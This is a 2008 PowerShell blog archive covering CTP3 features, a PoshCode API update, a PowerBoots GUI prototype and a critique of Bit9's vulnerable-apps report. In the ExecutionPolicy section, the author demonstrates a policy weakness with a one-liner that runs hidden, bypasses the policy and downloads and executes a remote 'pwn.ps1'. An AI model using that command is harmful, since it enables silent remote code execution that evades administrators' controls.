Archive for December, 2008

Have I mentioned lately how much Oisin Grehan (a.k.a.: x0n) rocks? He discovered that in PowerShell 2 we can now define our own custom type accelerators. A “Type Accelerator” is the thing that lets you write [regex] instead of [System.Text.RegularExpressions.Regex], and they save a lot of typing, but in order to keep the name space clean, there aren’t very many of them predefined right now.

Thanks to Oisin’s discovery, I’ve written a module to make it trivially easy to create your own custom type accelerators in PowerShell 2. I’ll add a few more details here in the morning, and I’ll probably add a simulation of a “using” statement to the script (although you’ll practically never want to use it), but for now, here’s the script … the new CTP3 Get-Help will tell you everything you need to know.

Maybe I should try that New-CommandBlogPost thing that James has been hawking over on the PowerShell team blog…

I’ve updated the PoshCode script module to support CTP3, and added a -limit parameter to the Get-PoshCode cmdlet so you can specify how many items you want retrieved in the case where there are a lot of matches for your search terms — by default the limit is 25.

Improvements to the underlying web search API

You’ve always been able to pass a LIST parameter to the API, and get more results by specifying a higher number. But it never worked with the “path” notation (until now).

That is, you used to be able to do:

  • http://poshcode.org/api1?q=start&list=10
  • http://poshcode.org/api1?q=start&list=100

To make the API a little easier to use I’ve enhanced it just now:

  1. You can now page the search results.
  2. You can use the word “limit” instead of “list”
  3. If you specify limit=0 (or list=0) I’ll give you everything I’ve got. Please use a little precaution about that, as it could be a LOT of data. I’d much rather you retrieve, say … 25, and then get the second page if you want more.
  1. You can use path notation.

So, you can use any of these URLs:

  • http://poshcode.org/api1/start/list/25/page/1
  • http://poshcode.org/api1/start/limit/25/page/2
  • http://poshcode.org/api1?q=start&list=25&page=3
  • http://poshcode.org/api1?q=start&limit=25&page=4

There are a lot of search results for “start” ... feel free to play with enhancing the PoshCode module, or incorporating this into your apps, etc.

[new] I should add that you don’t have to specify the limit or page number. By default you’ll get the first 10 items, which should be enough. :)

Changes of particular interest

Get-Command returns functions

By default Get-Command used to return only apps, scripts in your path, and cmdlets… The new CTP3 default invocation includes functions. This is mostly a recognition of the increased power of functions with the arrival of that advanced function features (formerly known as script cmdlets).

Advanced Functions

Advanced Functions is the new name for what was called “Script Cmdlets” in CTP2. Instead of adding a CMDLET keyword to the language, we now have a [CmdletBinding()] attribute which can be specified in your functions —just before the PARAM block— which will enable all of the features which were exclusive to CMDLETs in CTP2. NOTE: Unlike in C#, the parentheses in [CmdletBinding()] are REQUIRED to differentiate it from PowerShell’s type notation.

I will write an entire article about Advanced Functions soon, because there is a lot to write about, and after struggling with them for several hours today, it’s clear that the about * documentation for them is mostly wrong and misleading. The PowerShell team blog post about Advanced Functions has some working examples, so start there and in the release notes (none of the about_functions_advanced samples will run — I wrote a bug about this, please vote for it if you agree).

Functions have help!

This is, without a doubt, my favorite feature so far. You can embed help for functions in comments inside the function block, and Get-Help will find and parse it. Not only that, but your functions get automatic implementation of the -? parameter, bringing script functions closer to equality with compiled cmdlets, in terms of user experience.

Cmdlet name collisions

You can now have two snapins or modules loaded which export the same cmdlets (or different ones with the same name). PowerShell resolves to the last one loaded by default. You can run previously loaded ones that have been hidden by specifying the full namespace\cmdlet path.

Modules

There has been a complete refactoring of the module system such that the environment variable and default Module folders have been renamed, and the cmdlets as well (Add-Module becomes Import-Module and New-Module). The “Module Metadata” support has been finished, so you can create .psd1 metadata files which wrap modules and expose additional features. Thanks to the data in those Metadata files, Get-Module now returns much more information about modules, including the author’s name, copyright info, etc. This is another area where I’ll have a whole article about the new functionality up soon, as an update to my former article about modules.

Lots of other things ;)

It’s not my intention to rewrite the release notes here… I just wanted to call attention to some of the stuff that’s most interesting to me. You should definitely read the release notes

Other improvements

Eventing

In a sense, we had PSEvents in CTP2. But in this release they’ve been beefed up, renamed a little, and are become a very useful way for cmdlet authors to expose functionality (you can create your own system-level events which users can write scripts to handle and target).

Exception Handling

I’m not really sure this counts as improved over CTP2, but a lot of people seem to be unaware that PowerShell v2 now supports the C#-like try{ ... } catch { ... } finally { ... } block, and allows you to specify multiple exceptions to be trapped by a single catch statement (I wish C# would implement that).

Command-line Parameters

There are two new parameters to PowerShell:

-WindowStyle

This lets you execute PowerShell “Hidden” or at least “Minimized” so that your startup or scheduled tasks don’t need to pop up windows that interrupt the user! Hurray! In fact, not only can you launch PowerShell hidden, you can hide the running host window by just running a PowerShell instance in it (it stays hidden even after PowerShell exits — that might be considered a bug, but I’m not really sure what I think of it). This would be most useful if you were trying to do GUI stuff in your scripts, but I’m sure you can think of other uses… here’s an example (IAA= is just a space, encoded).


powershell -win hidden -nop -enc IAA=
## any output here won't be seen ...
[Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
[Windows.Forms.MessageBox]::Show("Hello from PowerShell",$pd)
write-host "Hello" -back Green;
Clear-Host
## but this output will be, once the window returns...
write-host "And now back to your regularly scheduled program..." -fore Green;
powershell -win normal -nop -enc IAA=
 

It even works in DOS:


powershell -win hidden -nop -enc IAA=
; any output here won't be seen ...
echo "Hello World!"
cls
; and this will be...
dir /w
powershell -win normal -nop -enc IAA=

-ExecutionPolicy

You can override the ExecutionPolicy on the command line. This is very interesting (and rather worrying). It’s my opinion that this option completely breaks the Execution Policy system because you don’t have to be elevated/administrator to use the flag.

What I’m trying to say is that in a business environment, where users are not administrators on their own systems, this flag seems to allow users to ignore the administrator’s script execution policy, and even modify their default shortcuts to just start with whatever setting they prefer. Currently (in v1 and v2) the Set-ExecutionPolicy cmdlet requires administrative rights (and an elevated console, on Vista), but this commandline argument means that anyone can just run PowerShell -EP Unrestricted to get around that.

This seems to render the setting a lot less useful, since it only applies if the user doesn’t know they can override it, or if the setting is unrestricted enough that the user doesn’t feel constrained by it. My guess is that the ExecutionPolicy parameter should either disappear, or be constrained to making the policy more restrictive than the default. Here’s my scary batch/vbs script:


powershell -ex unrestricted -win hidden -com {imo FileTransfer; new-filetransfer http://jaykul.com/pwn.ps1 $Env:Temp\pwn.ps1; & $Env:Temp\pwn.ps1}

If you have an opinion, vote here

Possible bugs?

[char] comparisons are supposed to be alphabetical

Formerly, comparisons of objects of type [char] (characters) were done as integers (against the unicode character value), but in CTP3 characters are supposed to behave as text, basically the same way strings do when it comes to case-insensitive comparison (except that, to keep them compatible, you must specify -IEQ to compare insensitive). This works fine in a case like: ([char]'a') -ieq 'A' but inexplicably fails for ([char]'a') -ieq ([char]'A') … which leads me to believe the team has simply hard-coded an exception for the CHAR-to-STRING comparison, and missed CHAR-to-CHAR. I wrote that up too, and hope you’ll take the time to agree or disagree (a couple of people in IRC mentioned that after this strangeness they just want it back the way it was).

I’m sure I’ll have more to write here tomorrow …

You want to get either the 32Bit version OR the 64Bit version and the readme/release notes and the help file … and you probably need to update your WinRM as well.

If you haven’t seen the Ruby Shoes graphical framework, you should check it out. In fact, go read the tutorial and come back, because the rest of this will make a lot more sense then.

It’s a very slick toolkit, right? Not only that, but it works on Windows, Linux, and Mac OS X … unlike what I’m about to show you, which works only where PowerShell works …

So, I’m curious if anyone would like something like that for PowerShell … and more to the point, how many people would be interested in it, and whether anyone would be willing to help write it (because exposing all of the properties of the various controls is going to require a lot of repetitive coding).

What would it look like in PowerShell?

The simplest PowerBoots app

The simplest PowerBoots app


# These lines are the same (#2 uses aliases)
New-Button "Push Me" | Out-WPF
button "Push Me" | Wpf
A few more buttons, in a stack

A few more buttons, in a stack


# Again, these lines are the same (#2 uses aliases)
"A bed of clams", "A coalition of cheetahs", "A gulp of swallows" | New-Button | New-Stack | Out-Wpf
"A bed of clams", "A coalition of cheetahs", "A gulp of swallows" | Button | Stack | Wpf

As a disclaimer, I copied the examples here from the Shoes tutorial I mentioned earlier, which is why they’re slightly kooky (Why The Lucky Stiff is a strange guy), and why I suggested you go read it before you read this. Of course, although these demos do work —and it’s all skinable and themeable— this is practically all that works in my demo, so don’t go thinking I’ve got a whole Shoes implementation for PowerShell.

A few options

A few options


"A bed of clams", "A coalition of cheetahs", "A gulp of swallows" | Button -margin 2 | Stack -margin 8 -background red | Wpf

I’m just trying to gauge the interest level — so if you’re interested, please comment below and let me know that you want it, what sorts of things you want it for (if you can think of any off the top of your head), and/or how involved you’d like to be. I’d love for someone to say: “Wow, that’s a great idea, I’m going to go finish it”, but anything short of that, right down to “I’d give you $5 to write it and give it away” is acceptable ;)

One final note: the Out-Wpf cmdlet that you see here does work in v1 and v2 and can even do this (click for the full picture):

Out-WPF without PoshConsole

Out-WPF without PoshConsole

I’ll release that later this week…

[new] PowerBoots Release

I’ve released a full script-based version of this. While it does everything you see above and more, it does not work in PowerShell 1. You can get an idea of how to use it by following the PowerBoots tutorial, and you can download PowerBoots, but for now it requires v2 CTP3. Let me hear from you if v1 support is important to ya.

[new] EDIT: We found out this evening that it was suppose to ship tomorrow, but isn’t going to anymore because they heard about a (possible) bug and are delaying release to investigate (and fix it).


while($true){
  $items = Invoke-Http get http://www.microsoft.com/downloads/Results.aspx @{freetext="powershell"; nr=50; sortCriteria="date"} |
    Receive-Http xml "//*[@id='results']/table/tr/td/p/a" |
    where {$_."#text"}

  if($items.Count -gt 47 ) {
    Out-Voice "There is a new PowerShell Release";
    Start "http://www.microsoft.com/downloads/$($items[0].href)"
    throw "Confetti"
  }
  sleep 30
}

Disclaimer: it wasn’t really my idea. ;)

[new] Edit: Someone suggested I should link to the required PoshCode scripts:

Wouldn’t it be cool to be able to “require” those like a ruby GEM? ;)

PowerShell for Developers (title slide)

Well, I presented PowerShell to a bunch of developers at the vduny meeting tonight… there were around 15 people there are the beginning, and surprisingly, there were more at the end ;) ... Of course, I had enough slides prepared to allow us to skip the “Intro to PowerShell” and still fill the hour and a half slot, but we had lots of questions, and ended up spending almost the whole time on the introduction section. :D It’s all good… but I’m going to have to put together a(nother) series of blog posts explaining why I think developers should learn and use PowerShell (and showing off some of the demos we didn’t cover), because what I really wanted to cover was the advantages to developers, and we really didn’t get to that except in Q&A.

I promised them I’d throw up my slides, so, you can download the PowerPoint 2007 presentation or the presentation and scripts … (the .7z with the scripts is smaller than just the pptx, but requires you have 7-Zip support (PeaZip is very good)).

If you just came looking for the list of resource links at the end (which is likely, if you were there):

  • Visifire WPF Charts I showed in PoshConsole
Reblog this post [with Zemanta]

Someone asked the question in #PowerShell (on irc.Freenode.net):

How do I find an item (in an array) based on one of it’s properties?

Actually, the question was rather more complicated than that. They were importing a bunch of users from a csv file, and wanted to sort them and search them based on a specific column. There are many ways to skin this cat. Imagine that you have a CSV file, and have imported it, like so:


Set-Content users.csv @"
LastName, FirstName, UserName, Url
Bennett, Joel, Jaykul, http://HuddledMasses.org
Rottenberg, Hal, HalR9000, http://halr9000.com
Hicks, Jeffrey, SapienScripter, http://blog.sapien.com/
"
@

$users = Import-Csv .\users.csv

Now, imagine that the CSV file has thousands of users in it, and that you need to not only sort the data by first name or last name on demand, but you also need to pull users from the list (by name) on demand.

These are trivial tasks in PowerShell: Read the rest of this entry »

There has been a lot of buzz on Twitter (etc.) about the report issued by Bit9 (as reported without details by NeoWin). The list is topped by Firefox, and the top 10 are all non-Microsoft applications … shocker!

Well, if you download the PDF (and read it with Foxit Reader because Adobe Acrobat and Flash are tied for #2 on Bit9’s list), you’ll find these items, among others, in the criteria for apps making the list:

  • Is well-known in the consumer space and frequently downloaded by individuals.
  • Contains at least one critical vulnerability that was first reported in January 2008 or after … [and was] given a severity rating of high (between 7.0-10.0) on the Common Vulnerability Scoring System (CVSS).
  • Relies on the end user, rather than a central administrator, to manually patch or upgrade the software to eliminate the vulnerability, if such a patch exists.
  • The application cannot be automatically and centrally updated via free Enterprise tools such as Microsoft SMS & WSUS.

There are two big problems here:

  1. It doesn’t matter how long it takes the vendor to issue the patch.
  1. Any application which can be patched by the administrator (or which is patched in WSUS (aka Windows Update)) is automatically excluded from the list — regardless of anything else.

That’s just preposterous.

So preposterous that even The Register couldn’t stand for it.

An application could have a single level 7 vulnerability that was patched within hours, with the patch delivered automatically by the application checking and self-updating … and it would still qualify (this isn’t entirely Hypothetical, THREE of the apps on that list had only a single qualifying vulnerability). But if it uses a patching system that has to be run by a highly paid IT professional instead, it wouldn’t qualify even if it had a level 10 vulnerability that has remained open for years … In point of fact, vulnerabilities that have been open for years are disqualified anyway, but the point is that the only thing that saves an app from this list is not having any vulnerabilites, or being able to hypothetically apply patches remotely (regardless of whether the patches actually exist).

Stop spreading this list

I’m begging you: if you’re a reporter, a blogger, a tweeter — do your research before you help companies spread disinformation… and please note that Bit9’s sole reason for creating this list is to market their enterprise management, patching, and white-listing product.

Reblog this post [with Zemanta]
Search My Content